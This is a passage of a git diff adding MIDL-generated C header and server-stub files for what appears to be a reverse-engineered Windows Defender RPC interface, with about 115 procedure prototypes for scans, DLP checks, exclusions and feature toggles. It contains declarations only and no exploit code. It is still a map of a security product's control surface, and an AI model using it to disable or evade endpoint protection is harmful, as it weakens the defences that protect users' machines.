*/ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_16_t *arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc120_ServerMpRpcSampleHeaderQueueQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc121_ServerMpRpcSampleHeaderQueueClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc122_ServerMpRpcSampleHeaderClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc123_ServerMpRpcSampleHeaderGetSampleDetails( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_2798_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc124_ServerMpRpcGetSampleChunk( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ unsigned char **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc125_ServerMpRpcConveySampleSubmissionResult( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_2854_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc126_ServerMpRpcGetSampleListRequiringConsent( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_2900_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc127_ServerMpRpcConveyUserChoiceForSampleList( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_2900_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc128_ServerMpRpcGetRunningMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc129_ServerMpRpcIsGivenRunningModeSupported( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc130_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc131_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc132_ServerMpXBGMUpdateIV( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ unsigned char *arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_3040_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3040_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc135_ServerMpOnDemandStartScan2( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][unique][in] */ struct Struct_476_t *arg_5, + /* [in] */ long arg_6, + /* [in] */ long arg_7, + /* [out] */ struct Struct_16_t *arg_8, + /* [context_handle][out] */ void **arg_9, + /* [out] */ error_status_t *arg_10); + +long Proc136_ServerMpQueryDefaultFolderGuardList( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_16_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc137_ServerMpRpcTriggerStatusRefreshNotification( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc138_ServerMpRpcGetHIPSRuleInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_3108_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc139_ServerMpEnableSmartLocker( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc140_ServerMpDisableSmartLocker( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc141_ServerMpXBGMUpdateIV( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][in] */ unsigned char *arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc142_ServerMpFlushLowfiCache( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc143_ServerMpRpcGetAsrBlockedProcesses( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ long *arg_3, + /* [size_is][size_is][ref][out] */ struct Struct_3166_t ***arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc144_ServerMpRpcGetAsrBlockedActions( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ struct Struct_3220_t ***arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc145_ServerMpRpcDeleteAsrHistory( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc146_ServerMpGetTaskSchedulerStrings( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_3280_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc147_ServerMpRpcGetAsrBlockedActionInfos( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ struct Struct_3302_t ***arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc148_ServerMpRpcGetTPStateInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_3350_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc149_ServerMpRpcSetTPState( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc150_ServerMpRpcUpdateDevMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc151_ServerMpRpcGetDevMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc152_ServerMpUpdateBreakTheGlassStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [string][in] */ wchar_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc153_ServerMpNetworkCapture( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc154_ServerMpConveyDlpBypass( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc155_ServerDlpMpCheckAccessForPrintOperation( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ long *arg_7, + /* [out] */ error_status_t *arg_8); + +long Proc156_ServerDlpMpConveyNewPrinterConnection( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc157_ServerMpShowDlpDetailsDialog( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc158_ServerMpRpcGetDlpEvents( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ struct Struct_3370_t ***arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc159_ServerMpRpcConveyUserChoiceForDlpNotification( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_3370_t **arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc160_ServerMpRpcChangeCapability( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc161_ServerMpRpcMpThreatAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_3570_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc162_ServerMpRpcAsrSetHipsUserExclusion( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ long arg_5, + /* [string][unique][in] */ wchar_t *arg_6, + /* [string][unique][in] */ wchar_t *arg_7, + /* [string][unique][in] */ wchar_t *arg_8, + /* [string][unique][in] */ wchar_t *arg_9, + /* [out] */ error_status_t *arg_10); + +long Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [out] */ long *arg_5, + /* [out] */ long *arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc164_ServerMpRpcQueryConfigProtection( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc165_ServerMpRpcCheckAccessForDragDropOperation( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ hyper arg_5, + /* [in] */ long arg_6, + /* [size_is][unique][in] */ unsigned char *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc166_ServerMpRpcUpdateBrowserActiveTab( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [in] */ long arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc167_ServerMpRpcSendBrowserHeartbeat( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ hyper arg_3, + /* [in] */ long arg_4, + /* [out] */ hyper *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc168_ServerMpRpcGetThreatExecutionInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_3654_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc169_ServerMpRpcReportClipboardOwner( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc170_ServerMpRpcDlpDelegateEnforcement( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_3370_t **arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [in] */ long arg_5, + /* [string][unique][in] */ wchar_t *arg_6, + /* [in] */ long arg_7, + /* [out] */ error_status_t *arg_8); + +long Proc172_ServerMpRpcSendDeviceControlToast( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc173_ServerMpRpcIsDeviceControlAvailable( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc174_ServerMpRpcGetFCValue( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc175_ServerMpRpcSetDriverUnloadInProgress( + /* [in] */ handle_t IDL_handle, + /* [in] */ unsigned char arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc176_ServerMpRpcUpdateTSMode( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc177_ServerMpRpcGetTSModeInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_3800_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc178_ServerMpCheckAccessForPrintOperation2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [unique][out][in] */ long *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [unique][in] */ struct Struct_3824_t *arg_3, + /* [unique][in] */ struct Struct_3824_t *arg_4, + /* [in] */ long arg_5, + /* [out] */ long *arg_6, + /* [out] */ long *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc180_ServerMpRpcCheckAccessForDragDropOperation2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ hyper arg_5, + /* [in] */ long arg_6, + /* [size_is][unique][in] */ unsigned char *arg_7, + /* [unique][in] */ struct Struct_3824_t *arg_8, + /* [unique][in] */ struct Struct_3824_t *arg_9, + /* [out] */ long *arg_10, + /* [out] */ error_status_t *arg_11); + +long Proc181_ServerMpRpcDlpInitializeEnforcementMode( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_126_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc182_ServerMpRpcDlpGetOperationEnforcmentMode( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_126_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc185_ServerMpRpcDlpNotifyCloseDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [unique][in] */ struct Struct_3824_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [unique][in] */ struct Struct_126_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc188_ServerMpRpcDlpNotifyPrePrint( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_3880_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc189_ServerMpRpcDlpNotifyPostStartPrint( + /* [in] */ handle_t IDL_handle, + /* [unique][in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_3880_t *arg_2, + /* [unique][in] */ struct Struct_126_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc190_ServerMpGetTDTFeatureStatus( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc191_ServerMpRpcGetDeviceControlSecurityPolicies( + /* [in] */ handle_t IDL_handle, + /* [string][ref][out] */ wchar_t **arg_1, + /* [string][ref][out] */ wchar_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc192_ServerMpRpcGetSACInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_3958_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc193_ServerMpGetTDTFeatureStatusEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4158_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc194_ServerMpRpcGetDeviceControlStatus( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_4178_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_4194_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc196_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc197_ServerMpRpcDefenderPrintAccessCheck( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ long *arg_3, + /* [out] */ hyper *arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc198_ServerMpRpcDeviceControlPrintAccessCheck( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ long *arg_3, + /* [out] */ hyper *arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc199_ServerMpRpcDefenderPrintDataProvide( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc201_ServerMpRpcApplyTrustLabelAceForMDE( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc202_ServerMpGetNpSupportFile( + /* [in] */ handle_t IDL_handle, + /* [string][ref][out] */ wchar_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc203_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc204_ServerMpRpcConfigRefresh( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc205_ServerMpServiceLogMessage( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][ref][out] */ wchar_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc207_ServerMpRpcDlpGetEvidenceFileUrl( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [string][ref][out] */ wchar_t **arg_6, + /* [string][ref][out] */ wchar_t **arg_7, + /* [out] */ error_status_t *arg_8); + +long Proc208_ServerMpRpcDlpCheckAccessForBuffer( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][in] */ unsigned char *arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ long *arg_5, + /* [size_is][size_is][ref][out] */ unsigned char **arg_6, + /* [string][ref][out] */ wchar_t **arg_7, + /* [string][ref][out] */ wchar_t **arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc209_ServerMpRpcDevVolumesProtectionState( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc210_ServerMpRpcQueryDevVolumeProtectionState( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc211_ServerMpRpcDlpDispatchAccessEvent( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_4208_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc212_ServerMpRpcCheckAccessForCopyFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ hyper arg_4, + /* [string][in] */ wchar_t *arg_5, + /* [string][in] */ wchar_t *arg_6, + /* [string][in] */ wchar_t *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc213_ServerMpRpcAsrSetHipsUserExclusionEx( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc214_ServerMpRpcGetUpToDateInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4314_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc215_ServerMpRpcSendDlpEventDataToEngine( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_4334_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc216_ServerMpRpcAccessibilityAsyncEvent( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ hyper arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc217_ServerMpRpcCacheManagerIsTrusted( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc218_ServerMpRpcSCCGetState( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4530_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc219_ServerMpRpcSCCReset( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc220_ServerMpRpcImportConfigPayload( + /* [in] */ handle_t IDL_handle, + /* [size_is][in] */ unsigned char *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [ref][out] */ struct Struct_4650_t **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc221_ServerMpRpcGetConfigPayloadStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_4650_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc222_ServerMpRpcGetConfigValue( + /* [in] */ handle_t IDL_handle, + /* [in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [ref][out] */ struct Struct_4734_t **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc223_ServerMpRpcEffectiveConfigurationReport( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ long *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc224_ServerMpRpcGetDefenderStatusSummary( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc225_ServerMpRpcGetHIPSCustomRuleInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_3108_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc226_ServerMpRpcGetTrustAnchors( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_4886_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc227_ServerMpRpcDlpTriggerToast( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc228_ServerMpRpcGetRnBWFPFilters( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_4918_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc229_ServerMpRpcRemoveRnBWFPFilter( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc230_ServerMpRpcSenseTriggerToast( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc231_ServerMpRpcWddControl( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [in] */ long arg_3, + /* [size_is][size_is][ref][out] */ unsigned char **arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc232_ServerMpRpcTemporaryExclusionAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc233_ServerMpOnDemandCancelScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc234_ServerMpRpcSCCForceReset( + /* [in] */ handle_t IDL_handle, + /* [size_is][in] */ unsigned char *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc235_ServerMpRpcPublishModularConfig( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + + + +extern RPC_IF_HANDLE DefaultIfName_v2_0_c_ifspec; +extern RPC_IF_HANDLE DefaultIfName_v2_0_s_ifspec; +#endif /* __DefaultIfName_INTERFACE_DEFINED__ */ + +/* Additional Prototypes for ALL interfaces */ + +/* end of Additional Prototypes */ + +#ifdef __cplusplus +} +#endif + +#endif + + diff --git a/windefend_s.c b/windefend_s.c new file mode 100644 index 0000000..f135226 --- /dev/null +++ b/windefend_s.c @@ -0,0 +1,68441 @@ + + +/* this ALWAYS GENERATED file contains the RPC server stubs */ + + + /* File created by MIDL compiler version 8.01.0628 */ +/* at Mon Jan 18 19:14:07 2038 + */ +/* Compiler settings for windefend.idl: + Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 + protocol : all , ms_ext, c_ext, robust + error checks: allocation ref bounds_check enum stub_data + VC __declspec() decoration level: + __declspec(uuid()), __declspec(selectany), __declspec(novtable) + DECLSPEC_UUID(), MIDL_INTERFACE() +*/ +/* @@MIDL_FILE_HEADING( ) */ + +#if defined(_M_AMD64) + + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif + +#pragma warning( disable: 4211 ) /* redefine extern to static */ +#pragma warning( disable: 4232 ) /* dllimport identity*/ +#pragma warning( disable: 4024 ) /* array to pointer mapping*/ + +#include +#include "windefend_h.h" + +#define TYPE_FORMAT_STRING_SIZE 4599 +#define PROC_FORMAT_STRING_SIZE 13495 +#define EXPR_FORMAT_STRING_SIZE 1 +#define TRANSMIT_AS_TABLE_SIZE 0 +#define WIRE_MARSHAL_TABLE_SIZE 0 + +typedef struct _windefend_MIDL_TYPE_FORMAT_STRING + { + short Pad; + unsigned char Format[ TYPE_FORMAT_STRING_SIZE ]; + } windefend_MIDL_TYPE_FORMAT_STRING; + +typedef struct _windefend_MIDL_PROC_FORMAT_STRING + { + short Pad; + unsigned char Format[ PROC_FORMAT_STRING_SIZE ]; + } windefend_MIDL_PROC_FORMAT_STRING; + +typedef struct _windefend_MIDL_EXPR_FORMAT_STRING + { + long Pad; + unsigned char Format[ EXPR_FORMAT_STRING_SIZE ]; + } windefend_MIDL_EXPR_FORMAT_STRING; + + +static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax_2_0 = +{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}; + +static const RPC_SYNTAX_IDENTIFIER _NDR64_RpcTransferSyntax_1_0 = 